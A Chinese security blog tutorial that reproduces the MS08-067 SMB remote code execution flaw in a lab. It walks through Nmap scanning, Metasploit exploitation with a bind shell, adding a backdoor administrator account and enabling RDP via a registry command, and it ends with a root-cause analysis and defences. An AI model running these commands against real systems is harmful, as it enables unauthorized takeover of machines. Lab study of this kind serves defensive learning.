[系统安全] 九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度防御
您可能之前看到過我寫的類似文章,為什么還要重復撰寫呢?只是想更好地幫助初學者了解病毒逆向分析和系統(tǒng)安全,更加成體系且不破壞之前的系列。因此,我重新開設了這個專欄,準備系統(tǒng)整理和深入學習系統(tǒng)安全、逆向分析和惡意代碼檢測,“系統(tǒng)安全”系列文章會更加聚焦,更加系統(tǒng),更加深入,也是作者的慢慢成長史。換專業(yè)確實挺難的,逆向分析也是塊硬骨頭,但我也試試,看看自己未來四年究竟能將它學到什么程度,漫漫長征路,偏向虎山行。享受過程,一起加油~
系統(tǒng)安全系列作者將深入研究惡意樣本分析、逆向分析、攻防實戰(zhàn)和Windows漏洞利用等,通過在線筆記和實踐操作的形式分享與博友們學習,希望能與您一起進步。前文介紹了Windows遠程桌面服務漏洞(CVE-2019-0708),該高危漏洞利用方式是通過遠程桌面端口3389,RDP協(xié)議進行攻擊。這篇文章將詳細講解MS08-067遠程代碼執(zhí)行漏洞(CVE-2008-4250)及防御過程,它是Windows Server服務RPC請求緩沖區(qū)溢出漏洞,利用445端口,并通過Metasploit工具獲取shell及進行深入的操作。希望對入門的同學有幫助。
話不多說,讓我們開始新的征程吧!您的點贊、評論、收藏將是對我最大的支持,感恩安全路上一路前行,如果有寫得不好的地方,可以聯(lián)系我修改。基礎性文章,希望對您有所幫助,作者的目的是與安全人共同進步,加油!也強烈推薦大家去看看參考文獻的視頻和書籍。
文章目錄
- 一.漏洞描述
- 二.環(huán)境搭建
- 1.環(huán)境準備
- 2.端口詳解
- 三.利用Metasploit復現漏洞
- 四.常見錯誤及漏洞原因分析
- 1.常見錯誤
- 2.漏洞成因
- 五.總結
作者的github資源:
- 系統(tǒng)安全:https://github.com/eastmountyxz/SystemSecurity-ReverseAnalysis
- 網絡安全:https://github.com/eastmountyxz/NetworkSecuritySelf-study
前文分析:
- [系統(tǒng)安全] 一.什么是逆向分析、逆向分析基礎及經典掃雷游戲逆向
- [系統(tǒng)安全] 二.如何學好逆向分析及呂布傳游戲逆向案例
- [系統(tǒng)安全] 三.IDA Pro反匯編工具初識及逆向工程解密實戰(zhàn)
- [系統(tǒng)安全] 四.OllyDbg動態(tài)分析工具基礎用法及Crakeme逆向破解
- [系統(tǒng)安全] 五.OllyDbg和Cheat Engine工具逆向分析植物大戰(zhàn)僵尸游戲
- [系統(tǒng)安全] 六.逆向分析之條件語句和循環(huán)語句源碼還原及流程控制
- [系統(tǒng)安全] 七.逆向分析之PE病毒原理、C++實現文件加解密及OllyDbg逆向
- [系統(tǒng)安全] 八.Windows漏洞利用之CVE-2019-0708復現及藍屏攻擊
- [系統(tǒng)安全] 九.Windows漏洞利用之MS08-067遠程代碼執(zhí)行漏洞復現及深度提權
聲明:本人堅決反對利用教學方法進行犯罪的行為,一切犯罪行為必將受到嚴懲,綠色網絡需要我們共同維護,更推薦大家了解它們背后的原理,更好地進行防護。
一.漏洞描述
MS08-067漏洞全稱是“Windows Server服務RPC請求緩沖區(qū)溢出漏洞”,攻擊者利用受害者主機默認開放的SMB服務端口445,發(fā)送特殊RPC(Remote Procedure Call,遠程過程調用)請求,造成棧緩沖區(qū)內存錯誤,從而被利用實施遠程代碼執(zhí)行。
當用戶在受影響的系統(tǒng)上收到RPC請求時,該漏洞會允許遠程執(zhí)行代碼,攻擊者可以在未經身份驗證情況下利用此漏洞運行任意代碼。同時,該漏洞可以用于蠕蟲攻擊。它影響了某些舊版本的Windows系統(tǒng),包括:
- Windows 2000
- Windows XP
- Windows Server 2003
漏洞原理:
MS08-067漏洞是通過MSRPC over SMB通道調用Server程序中的NEtPathCanonicalize函數時觸發(fā)的。NetPathCanonicalize函數在遠程訪問其他主機時,會調用NetpwPathCanonicalize函數,對遠程訪問的路徑進行規(guī)范化,而在NetpwPathCanonicalize函數中發(fā)生了棧緩沖區(qū)內存錯誤(溢出),造成可被利用實施遠程代碼執(zhí)行(Remote Code Execution)。后續(xù)部分我將分析該漏洞的CFG流程圖及漏洞成因。
本文參考了很多大佬的文章,再次感謝他們。實驗部分是結合自己的實踐和經驗講解,如果存在錯誤或不足之處,也請批評和指正。
二.環(huán)境搭建
1.環(huán)境準備
- 受害機:Windows XP SP1鏡像
- 攻擊機:Kali系統(tǒng)
第一步,在虛擬機中安裝Windows XP SP1系統(tǒng)和Kali系統(tǒng)。
第二步,虛擬機兩個系統(tǒng)之間能夠相互通信。
- Kali:192.168.44.136
- Win XP:192.168.44.135
第三步,打開Windows XP系統(tǒng),確定445端口開啟。如下圖所示,在Win XP的CMD中輸入“netstat -sn”查看端口445是否打開。
第四步,關閉Windows XP系統(tǒng)的防火墻。
做完這些初始準備之后,我們開始利用Kali系統(tǒng)進行漏洞復現。
2.端口詳解
這里作者補充一些端口的基礎知識,更有利于我們進行Web滲透實驗。
(1) 端口作用
我們知道,一臺擁有IP地址的主機可以提供許多服務,比如Web服務、FTP服務、SMTP服務等,這些服務完全可以通過1個IP地址來實現。那么,主機是怎么區(qū)分不同的網絡服務呢?顯然不能只靠IP地址,因為IP地址與網絡服務的關系是一對多的關系,實際上是通過“IP地址+端口號”來區(qū)分不同的服務的。
需要注意的是,端口并不是一一對應的。比如你的電腦作為客戶機訪問一臺WWW服務器時,WWW服務器使用“80”端口與你的電腦通信,但你的電腦則可能使用“3456”這樣的端口。如下圖所示:
(2) 端口的分類
端口共1-65535號,知名端口范圍從0到1023,這些端口號一般固定分配給一些服務,大家盡量不要使用。比如21端口分配給FTP服務,25端號分配給SMTP郵件傳輸協(xié)議服務,80端口分配給HTTP服務,135端口分配給RPC遠程過程調用服務等等。
動態(tài)端口的范圍從1024到65535,這些端口號一般不固定分配給某個服務,也就是說許多服務都可以使用這些端口。只要運行的程序向系統(tǒng)提出訪問網絡的申請,那么系統(tǒng)就可以從這些端口號中分配一個供該程序使用。比如1024端口就是分配給第一個向系統(tǒng)發(fā)出申請的程序,在關閉程序進程后,就會釋放所占用的端口號。注意,端口沖突就不能正常工作。
同時,動態(tài)端口號也常常被病毒木馬程序所利用,如冰河默認連接端口號是7626、WAY 2.4連接端口號是8011、Netspy 3.0連接端口號是7306、YAI病毒連接端口號是1024等等。
(3) 常見的端口
| 21 | FTP文件傳輸協(xié)議代理服務器常用端口號 |
| 22 | SSH安全登錄、SCP文件傳輸、端口重定向端口號 |
| 23 | Telnet遠程登錄協(xié)議代理服務器常用端口號 |
| 25 | SMTP Simple Mail Transfer Protocol (E-mail) 端口號(木馬Antigen、WinPC等開放該端口) |
| 53 | DNS域名解析服務端口號 |
| 80/8080 | HTTP協(xié)議代理服務器常用端口號 |
| 110 | POP3“郵局協(xié)議版本3”使用的端口號 |
| 443 | HTTPS加密的超文本傳輸服務端口號 |
| 445 | 通過SMB(服務器信息塊)協(xié)議,訪問各種共享文件夾或共享打印機 |
| 1080 | SOCKS代理協(xié)議服務器常用端口號 |
| 1433 | MSSQL SERVER數據庫默認端口號 |
| 1521 | Oracle數據庫服務端口號 |
| 1863 | MSN Messenger的文件傳輸功能所使用的端口號 |
| 3306 | MYSQL默認端口號 |
| 3389 | Microsoft RDP微軟遠程桌面使用的端口號 |
| 5631 | Symantec pcAnywhere遠程控制數據傳輸時使用的端口號 |
| 5632 | Symantec pcAnywhere 主控端掃描被控端時使用的端口號 |
| 4000/8000 | 騰訊QQ端口號 |
(4) 黑客通過端口可以干什么
- 信息收集
- 目標探測
- 服務判斷
- 系統(tǒng)判斷
- 角色分析
(5) 445端口
謝公子大佬在 “135、137、138、139和445端口” 文章中介紹過這些端口,它們都是與文件共享和打印機共享有關的端口,而且在這幾個端口上經常爆發(fā)很嚴重的漏洞。比如2017年危害全球的永恒之藍,就是利用的445端口。
本篇文章的445端口就是利用SMB(Server Message Block)Windows協(xié)議族,用于文件共享、打印共享的服務。445端口是一個毀譽參半的端口,有了它我們可以在局域網中輕松訪問各種共享文件夾或共享打印機,但也正是因為有了它,黑客們才有了可乘之機,他們能通過該端口偷偷共享你的硬盤,甚至會在悄無聲息中將你的硬盤格式化掉!
總之,公開服務器打開139和445端口是一件非常危險的事情。 如果有Guest帳號,而且沒有設置任何密碼時,就能夠被人通過因特網輕松地盜看文件。如果給該帳號設置了寫入權限,甚至可以輕松地篡改文件。也就是說在對外部公開的服務器中不應該打開這些端口。通過因特網使用文件服務器就等同自殺行為,因此一定要關閉139和445端口。對于利用ADSL永久性接入因特網的客戶端機器可以說也是如此。
三.利用Metasploit復現漏洞
- 攻擊機:Kali - 192.168.44.136
- 受害機:Win XP - 192.168.44.135
第一步,利用Nmap工具掃描端口及確認該漏洞是否存在。
nmap -n -p 445 --script smb-vuln-ms08-067 192.168.44.135 --opennmap漏掃腳本目錄為“/usr/share/nmap/script/”,如下圖所示,掃描結果為VULNERABLE,表示MS0808-067漏洞存在且可以利用。
或者使用 “nmap -sV -Pn 192.168.44.135” 查看目標主機開放的端口。目標機開放了135、139、445、1025、5000端口,且目標機系統(tǒng)為Windows XP。作為黑客,一看到XP或2003系統(tǒng)的445端口開放,我們就能想到轟動一時的MS08-067。
nmap -sV -Pn 192.168.44.135第二步,進入Msfconsole并利用search語句查找漏洞利用模塊。
終端內輸入msfconsole打開metasploite命令行客戶端,使用search命令查找ms08-067的漏洞利用模塊。
第三步,進入漏洞模塊,并查看相關的使用說明。
使用use命令選擇我們要使用的利用模塊。target設置為系統(tǒng)默認是自動定位,如果需要精確定位,可以show targets查看所有,然后進行選擇。
第四步,設置攻擊機、受害機信息。
# 目標機ip set RHOST 192.168.44.135 # 端口號 set RPORT 445 # 設置payload set payload generic/shell_bind_tcp # 攻擊機ip set LHOST 192.168.44.136 # 設置自動類型 set target 0 # 顯示配置信息 show options第五步,運行exploit反彈shell。
此時我們成功獲取了Windows XP系統(tǒng)的Shell,我們調用“ipconfig”查看的IP地址也是目標的“192.168.44.135”。
注意:Windows XP SP1系統(tǒng)是中文而不是英文的,需要對ms08_067_netapi_ser2003_zh.rb處理。
- 參考:MS08-067 遠程執(zhí)行代碼 漏洞復現 - feizianquan
第六步,在目標主機上創(chuàng)建文件夾及文件。
cd .. # 創(chuàng)建文件夾 mkdir hacker # 訪問目錄 dir cd hacker # 創(chuàng)建文件并寫入內容 echo eastmount>test.txt # 查看目標系統(tǒng)的基本信息 sysinfo顯示結果下圖所示:
第七步,對目標XP主機進行深度提權。
# 增加普通用戶 net user hacker 123456 /add # 提升管理員權限 net localgroup administrators hacker /addWindows DOM用戶常用命令如下:
- net user abcd 1234 /add
新建一個用戶名為abcd,密碼為1234的帳戶,默認為user組成員 - net user abcd /del
將用戶名為abcd的用戶刪除 - net user abcd /active:no
將用戶名為abcd的用戶禁用 - net user abcd /active:yes
激活用戶名為abcd的用戶 - net user abcd
查看用戶名為abcd的用戶的情況 - net localgroup administrators abcd /add
將abcd賬戶給予管理員權限
此時被攻擊的主機新增“hacker”管理員如下圖所示:
第八步,開啟遠程連接3389端口并進行遠程操作。
# 開啟遠程連接 echo reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f > C:\WINDOWS\system32\3389.bat && call 3389.bat # 查看網絡端口 netstat -an # 遠程連接 rdesktop 192.168.44.135首先查看端口,發(fā)現目標主機Windows XP并未開啟3389端口。
輸入命令開啟遠程連接端口。
接著輸入“rdesktop 192.168.44.135”連接遠程IP地址,并輸入我們創(chuàng)建好的hacker用戶名及密碼。
輸入創(chuàng)建的用戶名hacker和密碼123456回車,彈出提示框點擊OK,稍等就會成功遠程登錄XP系統(tǒng)。
哇塞,是不是很驚訝!這也是本文的深度提權知識。
最后,我們還需要將新建的用戶名hacker刪除。寫到這里,整個實驗就講解完畢。
四.常見錯誤及漏洞原因分析
1.常見錯誤
我們在運行exploit執(zhí)行漏洞利用模塊時,有時會有相關錯誤。比如一直提示“exploit completed,but no session was created”或“ConnectionRefused the connection was refused by the remote host”。需要注意:
- Windows XP系統(tǒng)關閉防火墻
- 漏洞不穩(wěn)定多嘗試幾次
有時XP系統(tǒng)會提示“Generic Host Process for win32 services”錯誤。這是svchost.exe錯誤,內存溢出造成。
最終作者解決了XP系統(tǒng)無法提權的問題,在調用“show payloads”設置攻擊載荷時,當我采用“set payload generic/shell_reverse_tcp”就會報錯,最后我將Payload修改為“set payload generic/shell_bind_tcp”。
- 反彈shell失敗:set payload generic/shell_reverse_tcp
- 反彈shell成功:set payload generic/shell_bind_tcp
如果仍然失敗,可能需要換其他XP或2003系統(tǒng)進行嘗試。祝好運~
2.漏洞成因
如果想了解該漏洞的原理知識,推薦以下三篇文章,后續(xù)作者也需要深入去分析各種漏洞的原代碼。
- https://www.cnblogs.com/justforfun12/p/5239941.html
- https://bbs.pediy.com/thread-251219.htm
- https://www.freebuf.com/vuls/203881.html
MS08-067漏洞是通過MSRPC over SMB通道調用Server服務程序中的NetPathCanonicalize函數時觸發(fā)的,而NetPathCanonicalize函數在遠程訪問其他主機時,會調用NetpwPathCanonicalize函數,對遠程訪問的路徑進行規(guī)范化,而在NetpwPathCanonicalize函數中發(fā)生了棧緩沖區(qū)內存錯誤,造成可被利用實施遠程代碼執(zhí)行。
所謂路徑規(guī)范化,就是將路徑字符串中的【/】轉換為【\】,同時去除相對路徑【.\】和【..\】。如: **/*/./** => **\*\** **\*\..\** => **\**在路徑規(guī)范化的操作中,服務程序對路徑字符串的地址空間檢查存在邏輯漏洞。攻擊者通過精心設計輸入路徑,可以在函數去除【…\】字符串時,把路徑字符串中內容復制到路徑串之前的地址空間中(低地址),達到覆蓋函數返回地址,執(zhí)行任意代碼的目的。
這里通過IDA Pro打開c:\windows\system32\netapi32.dll,找到漏洞所在的NetpwPathCanonicalize函數并雙擊。通過觀察其流程圖CFG可知,此函數并沒有直接進行輸入路徑和規(guī)范化,而是調用了下級函數CanonicalizePathName來進行路徑整理,將待整理的路徑字符串進行規(guī)范化,然后再保存到預先分配的輸出路徑緩沖區(qū)buffer中,最終造成緩沖區(qū)溢出漏洞。
五.總結
寫到這里,這篇文章就介紹結束了,通過本次實驗我們復現了MS08-067遠程代碼執(zhí)行漏洞,涉及漏洞發(fā)現、驗證漏洞、利用漏洞的完整過程,并利用Metasploit工具進行shell反彈及深入理解,希望對您有所幫助。如何進行防御呢?一方面關閉相關端口、安裝殺毒軟件和補丁,另一方面在防火墻中進行流量監(jiān)測,主要是針對數據包中存在的形如"\ ** \ … \ … \ *"這樣的惡意路徑名進行檢測,最為保險的方法是使用pcre正則去匹配。
本次實驗的完整命令:
# 端口查詢 nmap -n -p 445 --script smb-vuln-ms08-067 192.168.44.135 --open# 查找漏洞利用模塊 msfconsole search ms08-067# 漏洞利用 use exploit/windows/smb/ms08_067_netapi show options show targets# 設置相關配置信息 set RHOST 192.168.44.135 set RPORT 445 set payload generic/shell_bind_tcp set LHOST 192.168.44.136 set target 0 show options# 反彈shell exploit session 1 ipconfig pwd# 目標主機文件操作 cd .. mkdir hacker dir cd hacker echo eastmount>test.txt sysinfo# 深度提權及遠程連接操作 net user hacker 123456 /add net localgroup administrators hacker /add echo reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f > C:\WINDOWS\system32\3389.bat && call 3389.bat netstat -an rdesktop 192.168.44.135真的感覺自己技術好菜,要學的知識好多。作為初學者,我們可能有差距,不論你之前是什么方向,是什么工作,是什么學歷,是大學大專中專,亦或是高中初中,只要你喜歡安全,喜歡滲透,就朝著這個目標去努力吧!有差距不可怕,我們需要的是去縮小差距,去戰(zhàn)斗,況且這個學習的歷程真的很美,安全真的有意思。但切勿去做壞事,我們需要的是白帽子,是維護我們的網絡,安全路上共勉。
最后,真誠地感謝您關注“娜璋之家”公眾號,也希望我的文章能陪伴你成長,希望在技術路上不斷前行。文章如果對你有幫助、有感悟,就是對我最好的回報,且看且珍惜!再次感謝您的關注,也請幫忙宣傳下“娜璋之家”,哈哈~初來乍到,還請多多指教。順便說一句,今天CSDN賬號的粉絲破十萬了,還挺開心的。
(By:Eastmount 2020-12-28 夜于武漢 https://blog.csdn.net/Eastmount)
參考文獻:
- [1] https://docs.microsoft.com/zh-cn/security-updates/Securitybulletins/2008/MS08-067
- [2] MS08-067利用 - s0mor
- [3] MS08-067 遠程執(zhí)行代碼 漏洞復現 - feizianquan
- [4] MS08-067遠程溢出漏洞(CVE-2008-4250)- Waldo_cuit
- [5] MS08-067復現與簡單分析 - 看雪論壇 有毒
- [6] ms08-067漏洞復現與利用 - 張德亮
- [7] CVE-2019-0708,MS17-010,MS08-067漏洞復現 - dazhuanlan
- [8] Metasploit入門到精通 - i春秋視頻
- [9] Metasploitable滲透測試實戰(zhàn)——Windows漏洞 MS08-067復現 - HsinTsao
- [10] MS08_067漏洞學習研究 - justforfun12
- [11] MS08-067漏洞原理及詳盡分析過程 - FreeBuf Dhakkan
- [12] 135、137、138、139和445端口 - 謝公子大佬
總結
以上是生活随笔為你收集整理的[系统安全] 九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度防御的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: [系统安全] 八.Windows漏洞利用
- 下一篇: [系统安全] 十.Windows漏洞利用